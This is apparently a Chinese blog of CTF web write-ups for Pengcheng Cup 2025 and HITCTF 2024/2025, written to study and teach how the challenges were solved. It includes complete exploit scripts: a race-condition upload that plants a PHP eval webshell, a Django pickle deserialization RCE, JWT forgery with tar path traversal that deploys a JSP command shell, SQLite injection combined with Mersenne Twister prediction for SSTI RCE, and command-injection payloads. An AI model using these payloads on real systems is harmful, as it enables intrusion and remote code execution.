国内赛 on Freedom

鹏城杯2025web复现

Tue, 16 Dec 2025 14:46:59 +0800

共用一个靶机真是抽象，没怎么打简单看一下题目吧

X_xSe

找了半天的flag，结果你说你在数据库里面？

xxe黑盒不知道过滤了啥，反正当时xxe外带成功了，后面就没做出来。

9000端口还有一个数据库的web服务（可以用gopher协议探测端口），简单绕过过滤sqlite盲注即可。

具体可以看https://baozongwi.xyz/p/pcb-2025/#pcb5-x_xse

ez_php

又是黑盒

cookie是用的反序列化的格式，伪造一下admin即可，过滤了admin需要双写一下。

<?php
// 修正后的生成脚本
namespace Session;

class User {
    // 必须是 private 才能生成 \0ClassName\0PropertyName
    private $username = "aadmindmin";
}

$user = new User();
$serialized = serialize($user);

// 确认序列化结果
var_dump($serialized);

// 输出 Base64 编码后的 Payload
echo base64_encode($serialized);
?>

进后台后有个任意读取，后面也是没翻到flag，看了wp发现是在flag.php里面，php被过滤了，用类似于羊城杯那道的绕过方式

`1`	`/dashboard.php?filename=flag.php/`

Uplssse

黑盒…

cookie还是用的反序列化，签一个is_admin:1进去了

进去是一个文件上传，上传后有时间检测，一下子想到条件竞争，当时没打进去。因为用的同一个靶机，感觉好多队伍是碰巧用上别人的webshell了。没有环境也没法复现，不过找到这篇wp，我觉得思路是对的。

f12中的提示

1
2

<meta name="dev-settings" content="autoload_extension=.inc">
<meta name="dev-settings" content="tmp_directory=./tmp/">

当PHP反序列化一个未定义的类时，会触发spl_autoload机制去加载类文件，根据提示，autoload会去 ./tmp/类名.inc 查找类定义，想到我们刚才越权位置正好有一个反序列化，可以上传一个.inc文件到tmp目录，并通过cookie去触发autoload，包含Evil.inc时执行其中的PHP代码，直接放上wp上的exp。

import requests
import threading
import base64

TARGET = "http://ip"
ADMIN_COOKIE = {"user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImxzcmFpbiI7czo4OiJwYXNzd29yZCI7czo2OiIxMjM0NTYiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ=="}
EVIL_COOKIE = {"user_auth": base64.b64encode(b'O:4:"Evil":0:{}').decode()}

# 恶意.inc内容 - 写入持久化shell
PAYLOAD = b'''<?php
file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>');
echo "SHELL_WRITTEN";
class Evil {}
?>'''

success = False

def upload():
    """用Admin Cookie上传Evil.inc"""
    global success
    whilenot success:
        try:
            requests.post(f"{TARGET}/upload.php",
                files={'file': ('Evil.inc', PAYLOAD, 'application/octet-stream')},
                data={'upload': 'upload'},
                cookies=ADMIN_COOKIE, timeout=1)
        except: pass

def trigger():
    """用Evil Cookie触发autoload"""
    global success
    whilenot success:
        try:
            r = requests.get(f"{TARGET}/upload.php", cookies=EVIL_COOKIE, timeout=1)
            if'SHELL_WRITTEN'in r.text:
                success = True
                print("[+] Shell written successfully!")
        except: pass

# 启动多线程
for _ in range(5):
    threading.Thread(target=upload, daemon=True).start()
for _ in range(10):
    threading.Thread(target=trigger, daemon=True).start()

import time
time.sleep(30)

ezDjango

终于给源代码了，原型是香山杯2023决赛ezcache，几乎没改什么东西

0x01 代码审计

看一下整体结构

/app目录主要负责应用的配置，/cacheapp目录主要负责应用的业务

从/cacheapp路由入手：

/generate

@csrf_exempt
def generate_page(request):
    if request.method == "POST":
        intro = str(request.POST.get('intro', ''))
        user = request.user if request.user.is_authenticated else 'Guest'
        blacklist = ['admin', 'config.']
        for word in blacklist:
            if word in intro:
                return HttpResponse("can't be as admin")
        outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
        f = request.FILES.get("file", None)
        filename = request.POST.get('filename', '') if request.POST.get('filename') else (f.name if f else '')
        
        if not f:
            return HttpResponse("❌ 没有上传文件")
        
        if not filename:
            filename = f.name
        if '.py' in filename:
            return HttpResponse("❌ 不允许上传.py文件")
        try:
            static_dir = os.path.join(settings.BASE_DIR, 'static', 'uploads')
            os.makedirs(static_dir, exist_ok=True)
            filepath = os.path.join(static_dir, filename)
            write_file_chunks(f, filepath)
            
            return HttpResponse(outer_html + f"</p><p>✅ 文件已上传: /static/uploads/{filename}</p>")
            
        except Exception as e:
            return HttpResponse(f"❌ 文件上传失败: {str(e)}")
    
    return render(request, 'generate.html')

intro参数这里存在格式化字符串漏洞，那就可以读取任意 user 对象里的内容（不能执行方法）

`1`	`{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}`

也可以读取其他的信息，不过因为都给了源码，本地和源码中settings.py应该大差不差。filename这里文件上传，可以路径穿越覆盖任意文件（只过滤了py)，暂时没看出能干什么。

/upload

@csrf_exempt
def upload_payload(request):
    if request.method == "POST":
        f = request.FILES.get("file", None)
        if not f:
            return json_error('No file uploaded')
        filename = request.POST.get('filename', f.name)
        if not filename.endswith('.cache'):
            return json_error('Only .cache files are allowed')
        try:
            temp_dir = '/tmp'
            filepath = os.path.join(temp_dir, filename)
            write_file_chunks(f, filepath)
            return json_success('File uploaded', filepath=filepath)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'upload.html')

还是可以路径穿越，不过只允许.cache结尾的文件。

/copy

@csrf_exempt
def copy_file(request):
    if request.method == "POST":
        src = request.POST.get('src', '')
        dst = request.POST.get('dst', '')
        if not src or not dst:
            return json_error('Source and destination required')
        try:
            if not os.path.exists(src):
                return json_error('Source file not found')
            os.makedirs(os.path.dirname(dst), exist_ok=True)
            content = read_file_bytes(src)
            with open(dst, 'wb') as dest_file:
                dest_file.write(content)
            return json_success('File copied', src=src, dst=dst)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'copy.html')

src和dst都没有过滤，又是可以任意目录移动文件。

/cache/viewer

@csrf_exempt
def cache_viewer(request):
    if request.method == "POST":
        cache_key = request.POST.get('key', '')
        if not cache_key:
            return json_error('Cache key required')
        try:
            path = os.path.join(cache_dir(), cache_filename(cache_key))
            if os.path.exists(path):
                content = read_file_bytes(path)
                return json_success('Read cache raw', cache_path=path, raw_content=content.hex())
            return json_error(f'Cache file not found: {path}')
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'cache_viewer.html')
# utils.py
def cache_filename(key: str) -> str:
    return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"
def read_file_bytes(path: str) -> bytes:
    with open(path, "rb") as f:
        return f.read()

传入key可以任意读取.djcache文件（前提是计算出文件名）

/cache/trigger

@csrf_exempt
def cache_trigger(request):
    if request.method == "POST":
        key = request.POST.get('key', '') or settings.CACHE_KEY
        try:
            val = cache.get(key, None)
            if isinstance(val, (bytes, bytearray)):
                return json_success('Triggered', value_b64=base64.b64encode(val).decode())
            return json_success('Triggered', value=str(val))
        except Exception as e:
            return json_error(str(e))
    return json_error('POST required')

跟进一下这个cache

Django 会从 settings.CACHES 读取缓存配置，找一下settings.py里怎么写的

配置把默认缓存后端设成了 Django 的文件缓存 FileBasedCache，继续跟进FileBasedCache

get方法这里存在严重的pickle反序列化漏洞，可以进行RCE。这里不是直接传入pickle，而是将恶意pickle构造成合法的.djcache

一个合法的 .djcache 文件结构是：

`1`	`[pickle(expiry)] + [zlib(pickle(value))]`

我们构造的时候要保证它没有过期

class SUIDMakeExec:
    def __reduce__(self):
        cmd = ['ls']
        return (subprocess.check_output, (cmd,))

def construct_payload():
    header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
    body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
    return header + body

0x02 预期

可以说是漏洞百出，整理一下上面的思路

1.通过/generate路由格式化字符串漏洞泄露出缓存路径和缓存key

2.制作恶意反序列化文件保存为.cache文件

3.通过/upload路由上传.cache文件

4.通过缓存key计算出文件名

5.通过/copy路由将.cache文件复制到对应的缓存路径（文件名使用计算好的，后缀使用.djcache）

6.通过/cache/trigger传入缓存key触发picke反序列化

7.远程环境还有一个suid make提权

贴一下baozongwi师傅的脚本

import os
import hashlib
import pickle
import zlib
import time
import re
import base64
import subprocess
import httpx

BASE_URL = 'http://ip'

class SUIDMakeExec:
    def __reduce__(self):
        cmd = ['ls']
        # cmd = ['/usr/bin/make', 'SHELL=/bin/bash', '.SHELLFLAGS=-p -c', '-s', '--eval', 'x:\n\tcat /flag', 'x']
        return (subprocess.check_output, (cmd,))

def construct_payload():
    header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
    body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
    return header + body

def get_server_config(client):
    def fetch(payload, fallback, name):
        try:
            resp = client.post(
                "/generate/",
                data={'intro': payload},
                files={'file': (name, b'1', 'application/octet-stream')}
            )
            match = re.search(r'<h3>(.*?)</h3>', resp.text)
            return match.group(1).strip() if match else fallback
        except Exception:
            return fallback

    cache_dir = fetch(
        '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES[default][LOCATION]}',
        '/tmp/django_cache',
        'loc.txt',
    )
    cache_key = fetch(
        '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}',
        'pwn',
        'key.txt',
    )
    return cache_dir, cache_key

def run_exploit():
    target_url = os.environ.get('BASE_URL', BASE_URL).rstrip('/')

    with httpx.Client(base_url=target_url, timeout=5.0) as client:
        print(f"[*] Target: {target_url}")

        cache_dir, cache_key = get_server_config(client)
        print(f"[+] Cache Dir: {cache_dir}")
        print(f"[+] Cache Key: {cache_key}")

        cache_filename = hashlib.md5(f":1:{cache_key}".encode()).hexdigest() + '.djcache'
        destination_path = f"{cache_dir.rstrip('/')}/{cache_filename}"

        payload_data = construct_payload()
        try:
            print("[*] Uploading payload...")
            upload_resp = client.post(
                "/upload/",
                data={'filename': 'exploit.cache'},
                files={'file': ('exploit.cache', payload_data, 'application/octet-stream')}
            )
            uploaded_path = upload_resp.json().get('filepath')
            
            if not uploaded_path:
                print("[-] Upload failed, no filepath returned.")
                return
            print(f"[+] Uploaded to temporary path: {uploaded_path}")

            print(f"[*] Copying to {destination_path}...")
            client.post("/copy/", data={'src': uploaded_path, 'dst': destination_path})

            print("[*] Triggering deserialization...")
            trigger_resp = client.post("/cache/trigger/", data={'key': cache_key})
            
            result = trigger_resp.json()
            b64_output = result.get('value_b64')
            
            if b64_output:
                flag = base64.b64decode(b64_output).decode(errors='ignore').strip()
                print(f"\n[SUCCESS] Flag: {flag}\n")
            else:
                print("[-] No output in trigger response.")
                
        except httpx.RequestError as e:
            print(f"[-] Network error: {e}")
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == '__main__':
    run_exploit()

0x03 非预期

与其说是题目的非预期，不如说是题目共用一个靶机的环境造成的非预期

从预期的思路里面看到，我们有一个.djcache文件任意读/cache/viewer路由没有使用。结合还有/copy路由，我们可以直接把flag移动到缓存目录并重命名，接着.djcache文件任意读即可。但题目本来的设计flag应该是400权限，我猜因为有些队伍打通了就顺便把权限改了造成了非预期，难评…

import requests
import hashlib
BASE_URL = "http://ip"

# 这个key随便伪造
key = "pwn"
cache_filename = hashlib.md5(key.encode()).hexdigest() + '.djcache'
print(f"Cache filename: {cache_filename}")
data = {
    'src': '/flag',
    'dst': f'/tmp/django_cache/{cache_filename}'
}
resp = requests.post(f"{BASE_URL}/copy/", data=data)
print(f"Result: {resp.json()}")

data = {
    'key': key
}
resp = requests.post(f"{BASE_URL}/cache/viewer/", data=data)
result = resp.json()
if result.get('status') == 'success':
    raw_hex = result.get('raw_content', '')
    flag_content = bytes.fromhex(raw_hex).decode('utf-8')
    print("FLAG:")
    print(flag_content)

ezJava

0x01 路径穿越

给了一个提示

1
2

RewriteCond %{QUERY_STRING} (^|&)path=([^&]+) 
RewriteRule ^/download$ /%2 [B,L]

怎么似曾相识，原来是在n1ctf2025上出现过啊，利用的是CVE-2025-55752。

`1`	`/download?path=/uploads/..%2fWEB-INF%2fweb.xml`

先读取到了web.xml

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <display-name>JWT Login WebApp</display-name>
    <servlet>
        <servlet-name>LoginServlet</servlet-name>
        <servlet-class>com.ctf.LoginServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>RegisterServlet</servlet-name>
        <servlet-class>com.ctf.RegisterServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>DashboardServlet</servlet-name>
        <servlet-class>com.ctf.DashboardServlet</servlet-class>
        <multipart-config>
            <max-file-size>10485760</max-file-size>
            <max-request-size>20971520</max-request-size>
            <file-size-threshold>0</file-size-threshold>
        </multipart-config>
    </servlet>
    <servlet>
        <servlet-name>AdminDashboardServlet</servlet-name>
        <servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
        <multipart-config>
            <max-file-size>10485760</max-file-size>
            <max-request-size>20971520</max-request-size>
            <file-size-threshold>0</file-size-threshold>
        </multipart-config>
    </servlet>
    <servlet>
        <servlet-name>BackUpServlet</servlet-name>
        <servlet-class>com.ctf.BackUpServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginServlet</servlet-name>
        <url-pattern>/login</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>RegisterServlet</servlet-name>
        <url-pattern>/register</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>DashboardServlet</servlet-name>
        <url-pattern>/dashboard/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>AdminDashboardServlet</servlet-name>
        <url-pattern>/admin/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>BackUpServlet</servlet-name>
        <url-pattern>/backup/*</url-pattern>
    </servlet-mapping>
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>
</web-app>

可以看到主要的类有五个，分别读取一下

1
2

/download?path=uploads/..%2fWEB-INF%2fclasses%2fcom%2fctf%2fBackUpServlet.class
...

下载之后用idea或者jadx反编译

0x02 代码审计

jwt越权

admin这里发现一个jwtUtil（也在com.ctf包里面），读取一下class文件并反编译

public class JwtUtil {
    private static final Key key = new SecretKeySpec("secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret".getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName());
    private static final long EXPIRATION = 1800000;

    public static String generateToken(String username) {
        return Jwts.builder().setSubject(username).setExpiration(new Date(System.currentTimeMillis() + EXPIRATION)).signWith(key).compact();
    }

    public static String validateToken(String token) {
        try {
            Jws<Claims> claims = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(token);
            return ((Claims) claims.getBody()).getSubject();
        } catch (JwtException e) {
            return null;
        }
    }
}

找到jwt-key以及加密方法，签一个admin即可越权

import jwt
import time

secret = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"

payload = {
    "sub": "admin",                 # 管理员用户名
    "exp": int(time.time()) + 1800  # 30 分钟
}

token = jwt.encode(payload, secret, algorithm="HS256")

print("jwt=" + token)

admin路由

有四个路由主要看一下upload路由

private void uploadTar(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Path fileDir = Paths.get(req.getServletContext().getRealPath("tmp"), new String[0]);
        if (!fileDir.toFile().exists()) {
            fileDir.toFile().mkdirs();
        }
        resp.setContentType("application/json; charset=UTF-8");
        try {
            Part filePart = req.getPart("file");
            if (filePart == null) {
                resp.getWriter().write("{\"error\":\"no file uploaded\"}");
                return;
            }
            Path targetPath = Paths.get(getServletContext().getRealPath("tmp/out.tar"), new String[0]);
            InputStream in = filePart.getInputStream();
            try {
                OutputStream out = Files.newOutputStream(targetPath, new OpenOption[0]);
                try {
                    byte[] buf = new byte[8192];
                    while (true) {
                        int len = in.read(buf);
                        if (len == -1) {
                            break;
                        } else if (!new String(buf, 0, len, StandardCharsets.UTF_8).contains("ﾎ") && !new String(buf, 0, len, StandardCharsets.UTF_8).contains("ﾝ")) {
                            out.write(buf, 0, len);
                        }
                    }
                    if (out != null) {
                        out.close();
                    }
                    if (in != null) {
                        in.close();
                    }
                    TInputStream tis = new TInputStream(new BufferedInputStream(Files.newInputStream(targetPath, new OpenOption[0])));
                    TarEntry entry = tis.getNextEntry();
                    if (entry != null) {
                        byte[] data = new byte[2048];
                        FileOutputStream fos = new FileOutputStream(getServletContext().getRealPath("uploads") + entry.getName());
                        BufferedOutputStream dest = new BufferedOutputStream(fos);
                        while (true) {
                            int count = tis.read(data);
                            if (count == -1) {
                                break;
                            } else {
                                dest.write(data, 0, count);
                            }
                        }
                        System.out.println(new String(data));
                        dest.flush();
                        dest.close();
                    }
                    tis.close();
                    File f = targetPath.toFile();
                    if (f.exists() && f.isFile()) {
                        boolean ok = f.delete();
                        if (!ok) {
                            resp.getWriter().write("{\"status\":\"delete failed\"}");
                            return;
                        }
                    }
                    resp.getWriter().write("{\"status\":\"ok\"}");
                } catch (Throwable th) {
                    if (out != null) {
                        try {
                            out.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                    }
                    throw th;
                }
            } finally {
            }
        } catch (Exception e) {
            resp.getWriter().write("{\"error\":\"" + e.getMessage() + "\"}");
        }
    }

上传tar文件，并自动解压，但没有校验tar包内的文件名，存在路径穿越覆盖任意文件漏洞。我们可以上传一个jsp，但是这里的web.xml是不支持jsp的，需要先覆盖web.xml。

<servlet>
      <servlet-name>jsp</servlet-name>
      <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
      <init-param>
          <param-name>fork</param-name>
          <param-value>false</param-value>
      </init-param>
      <init-param>
          <param-name>xpoweredBy</param-name>
          <param-value>false</param-value>
      </init-param>
      <load-on-startup>3</load-on-startup>
  </servlet>
  
  <servlet-mapping>
      <servlet-name>jsp</servlet-name>
      <url-pattern>*.jsp</url-pattern>
      <url-pattern>*.jspx</url-pattern>
  </servlet-mapping>

0x03 exploit

总结思路：

1.jwt越权进入admin

2.调用admin/upload覆盖web.xml

3.调用admin/upload上传jsp文件到根目录，rce

贴上baozongwi师傅的exp：

import httpx
import jwt
import datetime
import tarfile
import io
import time
import sys

TARGET_URL = "http://ip"
UPLOAD_URL = f"{TARGET_URL}/admin/upload"
SECRET_KEY = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"
SHELL_FILENAME = "/../shell.jsp"
SHELL_CONTENT = b'''<%if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b, 0, a)); } out.print("</pre>"); }%>'''

def get_admin_token():
    payload = {
        "sub": "admin",
        "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(minutes=60)
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def create_tar_bytes(filename, content_bytes):
    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
        info = tarfile.TarInfo(name=filename)
        info.size = len(content_bytes)
        tar.addfile(info, io.BytesIO(content_bytes))
    return tar_buffer.getvalue()

def upload_tar(client, token, tar_name, tar_data):
    cookies = {"jwt": token}
    files = {"file": (tar_name, tar_data, "application/x-tar")}
    return client.post(UPLOAD_URL, cookies=cookies, files=files, timeout=10.0)

def upload_web_xml(client, token, xml_path):
    try:
        with open(xml_path, "rb") as f:
            xml_data = f.read()
    except FileNotFoundError:
        print("Error: web.xml not found")
        sys.exit(1)

    tar_data = create_tar_bytes("/../WEB-INF/web.xml", xml_data)
    print(f"Payload size: {len(xml_data)} bytes")
    print("Uploading new web.xml...")
    r = upload_tar(client, token, "config.tar", tar_data)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")

def deploy_shell(client, token):
    tar_data = create_tar_bytes(SHELL_FILENAME, SHELL_CONTENT)
    upload_tar(client, token, "pwn.tar", tar_data)

def run_shell(client, cmd):
    final_shell_url = f"{TARGET_URL}/shell.jsp"
    params = {"pwd": "023", "i": cmd}
    r = client.get(final_shell_url, params=params, timeout=10.0)
    if r.status_code == 200:
        output = r.text.replace("<pre>", "").replace("</pre>", "").strip()
        print(output)

if __name__ == "__main__":
    token = get_admin_token()
    with httpx.Client() as client:
        try:
            upload_web_xml(client, token, "web.xml")
        except Exception as e:
            print(f"Upload failed: {e}")
            sys.exit(1)

        print("Waiting 10 seconds for reload...")
        time.sleep(10)
        print("Deploying shell...")
        try:
            deploy_shell(client, token)
        except Exception:
            pass

        time.sleep(1)
        try:
            run_shell(client, "env")
        except Exception:
            pass

当然这应该不是这个题目的预期（正好碰上热部署了），算了，~~反正这题也是出的一团糟…~~

参考文章

2025鹏城杯 Writeup by Mini-Venom

PCB2025 by baozongwi

Hitctf 2024&2025 web wp

Tue, 09 Dec 2025 19:46:01 +0800

2024

mathex

cve-2023-51887

Fuzzing mathtex - Yulun/blog

mathex<=1.05时表达式以\which{;}格式传入可以绕过过滤实现命令执行

if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
    int ispermitted = 1;
    int nlocate = 1;
    char *path = NULL;
    char whichmsg[512];
    trimwhite(argstring);
    if (isempty(argstring))
      ispermitted = 0;                            /* arg is an empty string */
    else {                                        /* have non-empty argstring */
      int arglen = strlen(argstring);             /* #chars in argstring */
      if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
          || strcspn(argstring, "{}[]()<>") < arglen  /* illegal char */
          || strcspn(argstring, "|/\"\'\\") < arglen  /* illegal char */
          || strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
      )
        ispermitted = 0;
    }
    if (ispermitted) {
      path = whichpath(argstring, &nlocate);    // <- popen("which {argstring}")
      sprintf(whichmsg,
              "%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
              argstring, (path != NULL ? path : "not found"));
    } 
    // ...
}

没有源代码就简单搭了一个环境(~~也是老古董了还在用cgi~~)

`1`	`/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;ls}`

wget

又是一个cve:cve-2024-10524

先看看源码

from flask import Flask, request, render_template, jsonify 
import subprocess 
import os 
import base64 
app = Flask(__name__) 
FLAG = os.getenv("FLAG", "flag{}") 
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode() 
print(f"FLAG: {flag_base64}")
@app.route("/") 
def index(): 
    with open(__file__, "r") as file: 
        source_code = file.read() 
        return source_code 
         
@app.route("/execute", methods=["POST"]) 
def execute(): 
    auth = request.form.get("auth") 
    if not auth: 
		    return jsonify({"error": "auth is required"}), 401 
    if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth): 
        return jsonify({"error": "Hacker!"}), 400 
    try: 
        command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"] 
        subprocess.run(command, check=True) 
        return jsonify({"message": "Command executed successfully"}) 
    except Exception as e: 
        return jsonify({"error": "Command failed"}), 500 

if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)

找到一篇文章CVE-2024-10524 Wget Zero Day Vulnerability

主要是利用wget的解析差，如果尝试wget aaa:bbb@ccc，wget会自动将其解释为ftp://aaa/bbb@ccc（其中bbb@ccc会被识别为一个目录名），那么我们就可以利用ftp的匿名登录来进行外带。

我这里没有用常见的ftp，而是使用了python的一个库来模拟ftp。

`1`	`pip install pyftpdlib`

因为bbb@ccc会被识别为目录，所以我们要提前创建一个aaaaaa@127.0.0.1:5000目录，在服务器上我们还需要开启对应的端口（我这里用的默认21）和ftp被动模式的端口。

做完这些我们就可以启动ftp服务了

`1`	`python -m pyftpdlib -p 21 -D`

发送payload

1
2

POST /execute
auth=[数字ip]:aaaaaa //这里过滤了点，我们使用数字ip

静静等待连接即可

参考文章：

HITCTF2024 Writeup - Turker’s

HITCTF2024 wget wp-先知社区

2025

logServer

先看源码

from flask import Flask, request, jsonify, render_template_string
import sqlite3
import random


def gen_secret():
    secret_int = random.getrandbits(96)
    secret_bits = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, byteorder='big')
    return secret_bits.hex()


app = Flask(__name__)
conn = sqlite3.connect("database.db", isolation_level=None, check_same_thread=False)
conn.execute("""
    CREATE TABLE IF NOT EXISTS logs (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        message TEXT NOT NULL
    )
""")
conn.execute("""
    CREATE TABLE IF NOT EXISTS secret (
        secret TEXT NOT NULL
    )
""")
conn.execute(f"INSERT INTO secret VALUES ('{gen_secret()}')")


@app.route("/")
def health_check():
    return jsonify({"status": "ok"}), 200


@app.route("/log", methods=["POST"])
def log_message():
    data = request.get_json()
    message = data.get("message")
    if not message:
        return jsonify({"success": False, "error": "Message is required"}), 400

    try:
        conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
        return jsonify({"success": True}), 200
    except Exception as e:
        return jsonify({"success": False, "error": str(e)}), 500


@app.route("/backdoor", methods=["POST"])
def backdoor():
    data = request.get_json()
    secret = data.get("secret")
    code = data.get("code")

    if not secret or not code:
        return jsonify(
            {"success": False, "error": "Secret and code are required"}
        ), 400

    stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
    if secret != stored_secret:
        return jsonify({"success": False, "error": "Invalid secret"}), 403

    res = render_template_string(code)
    return jsonify({"success": True, "result": res}), 200


@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

0x01 sqlite注入

/log存在明显的sql注入

`1`	`conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")`

不过它使用的是INSERT ，没法直接用联合查询，拷打的gemini告诉我可以使用报错注入来泄露secret

`1`	`' \|\| json_extract('{"a":1}', (SELECT secret FROM secret)) \|\| '`

`1`	`' \|\| fts3_tokenizer((SELECT secret FROM secret)) \|\| ' -- 也可以`

0x02 伪随机预测

/backdoor很明显的无过滤ssti，前提是secret验证通过。本题最大的难点来了

@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response

每次请求都会更新secret，刚开始想打条件竞争来着，但未成功，于是想到了伪随机，收集足够的随机数样本来预测secret。

`1`	`pip install randcrack`

综上本题的总体思路为：利用sqlIte注入泄露secret=>重复收集泄露的secret=>预测secret=>ssti

你可以使用python的库来预测，我这里没用

exp如下：

import requests
import re
from z3 import *

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def untemper(y_val):
    y = BitVec('y', 32)
    y1 = y ^ LShR(y, 11)
    y2 = y1 ^ ((y1 << 7) & 0x9d2c5680)
    y3 = y2 ^ ((y2 << 15) & 0xefc60000)
    y4 = y3 ^ LShR(y3, 18)
    s = Solver()
    s.add(y4 == y_val)
    if s.check() == sat:
        return s.model()[y].as_long()
    return 0

def temper(y):
    y ^= (y >> 11)
    y ^= ((y << 7) & 0x9d2c5680)
    y ^= ((y << 15) & 0xefc60000)
    y ^= (y >> 18)
    return y

def twist(state):
    for i in range(N):
        y = (state[i] & UPPER_MASK) | (state[(i + 1) % N] & LOWER_MASK)
        state[i] = state[(i + M) % N] ^ (y >> 1) ^ ((y & 1) * MATRIX_A)
    return state

URL = "http://xxx/log"
BACKDOOR_URL = "http://xxx/backdoor"

def get_secret():
    payload = "' || json_extract('{\"a\":1}', (SELECT secret FROM secret)) || '"
    try:
        r = requests.post(URL, json={"message": payload})
        if "JSON path error near" in r.text:
            match = re.search(r"JSON path error near '([0-9a-f]+)'", r.text)
            if match:
                return match.group(1)
    except:
        return None
    return None

def main():
    secrets = []
    for i in range(210):
        s_hex = get_secret()
        if not s_hex:
            return
        s_int = int(s_hex, 16)
        a = s_int & 0xFFFFFFFF
        b = (s_int >> 32) & 0xFFFFFFFF
        c = (s_int >> 64) & 0xFFFFFFFF
        secrets.append(a)
        secrets.append(b)
        secrets.append(c)
    
    state = [untemper(y) for y in secrets[:624]]
    next_state = twist(state)
    
    payloads = [
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
    ]
    
    current_idx = 6
    for code in payloads:
        next_words = []
        for k in range(3):
            y = next_state[current_idx + k]
            y = temper(y)
            next_words.append(y)
        a, b, c = next_words
        next_secret_int = a | (b << 32) | (c << 64)
        next_secret_hex = next_secret_int.to_bytes(12, 'big').hex()
        
        r = requests.post(BACKDOOR_URL, json={"secret": next_secret_hex, "code": code})
        print(f"Secret: {next_secret_hex}")
        print(f"Status: {r.status_code}")
        print(f"Response: {r.text}")
        
        current_idx += 3
        if current_idx + 3 >= N:
            next_state = twist(next_state)
            current_idx = 0

if __name__ == "__main__":
    main()

Freestyle

本来是个xss题目，结果被无条件rce的cve非预期了

0x01 源码分析

跟上题差不多的逻辑，token通过验证后就会给flag

// /app/api/flag/route.ts
import { type NextRequest, NextResponse } from "next/server";
import { validateToken } from "@/lib/token-store";

export async function GET(request: NextRequest) {
  const searchParams = request.nextUrl.searchParams;
  const token = searchParams.get("token");

  if (!token) {
    return NextResponse.json({ error: "Missing token" }, { status: 400 });
  }

  if (validateToken(token)) {
    return NextResponse.json({
      flag: "flag{redacted_flag}",
    });
  } else {
    return NextResponse.json({ error: "Invalid token" }, { status: 403 });
  }
}

而token的生成来自以下文件

